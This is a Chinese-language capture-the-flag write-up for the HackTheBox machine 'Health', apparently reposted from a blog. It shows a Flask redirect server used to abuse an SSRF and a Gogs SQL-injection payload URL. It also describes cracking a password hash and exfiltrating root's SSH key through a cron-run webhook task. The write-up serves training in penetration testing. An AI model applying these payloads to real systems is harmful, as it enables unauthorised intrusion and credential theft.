HackTheBox - Medium - Linux - Health

发布时间:2024年01月18日

Health

Health 是一台中型 Linux 计算机,在主网页上存在 SSRF 漏洞,可利用该漏洞访问仅在 localhost 上可用的服务。更具体地说,Gogs 实例只能通过 localhost 访问,并且此特定版本容易受到 SQL 注入攻击。由于攻击者可以与 Gogs 实例交互的方式,在这种情况下,最好的方法是通过在本地计算机上安装相同的 Gogs 版本,然后使用自动化工具生成有效的有效负载来复制远程环境。在检索用户“susanne”的哈希密码后,攻击者能够破解哈希并泄露该用户的纯文本密码。可以使用相同的凭据通过 SSH 向远程计算机进行身份验证。权限提升依赖于在用户“root”下运行的 cron 作业。这些 cron 作业与主 Web 应用程序的功能相关,并处理数据库中未经筛选的数据。因此,攻击者能够在数据库中注入恶意任务并泄露用户“root”的 SSH 密钥文件,从而允许他在远程计算机上获得 root 会话。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

看起来就觉得可能存在SSRF,扫一下vhost

file

还有过滤

file

test

file

监听url会有一个get请求,当我断开nc之后,payload url又来了一个post

file

本地起个http server,当监听url访问过来的时候重定向到localhost

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/')
def index():
    return redirect('http://127.0.0.1')

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8001)

这里一定要是always,否则payload url可能收不到post请求

file

可以看到响应,说明重定向成功了

file

接下来就可以爆破端口,找到内网的服务,为了方便直接wp跳过这些无聊的环节

3000端口有一个gogs

file

Foothold

谷歌能找到该版本似乎存在sql injection

file

poc:

http://127.0.0.1:3000/api/v1/users/search?q=')%09union%09all%09select%091,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%09--%09-

file

查数据

file

得到susanne的密码hash

file

在谷歌中能搜到gogs使用PBKDF2 + hmac + sha256

https://github.com/kxcode/KrackerGo/tree/master

这里也描述了如何利用它

将16进制转回去如何base64

file

将salt base64

file

hashcat

file

不出意外我们能够通过这种凭据登录ssh

file

本地权限提升

传个pspy

2024/01/17 15:29:01 CMD: UID=0     PID=4350   | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1 
2024/01/17 15:29:01 CMD: UID=0     PID=4351   | sleep 5 
2024/01/17 15:29:01 CMD: UID=???   PID=4354   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4352   | 
2024/01/17 15:29:01 CMD: UID=0     PID=4357   | grep columns 
2024/01/17 15:29:01 CMD: UID=???   PID=4356   | ???
2024/01/17 15:29:01 CMD: UID=0     PID=4355   | sh -c stty -a | grep columns 
2024/01/17 15:29:06 CMD: UID=0     PID=4358   | mysql laravel --execute TRUNCATE tasks 

从artisan跟到app/Console/Kernel.php

protected function schedule(Schedule $schedule)
    {

        /* Get all tasks from the database */
        $tasks = Task::all();

        foreach ($tasks as $task) {

            $frequency = $task->frequency;

            $schedule->call(function () use ($task) {
                /*  Run your task here */
                HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);
                Log::info($task->id . ' ' . \Carbon\Carbon::now());
            })->cron($frequency);

同时,在网站根目录下的.env文件中也包含了mysql的凭据

file

进到mysql后有个tasks空表,desc

file

应该就是之前的web,直接读root ssh key然后返回到我们的payload url

file

nc

file

sed将\n转义和去除多余的\

file

登root的ssh

file

file

其实也可以直接在tasks里读root flag

文章来源:https://blog.csdn.net/qq_54704239/article/details/135663244
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。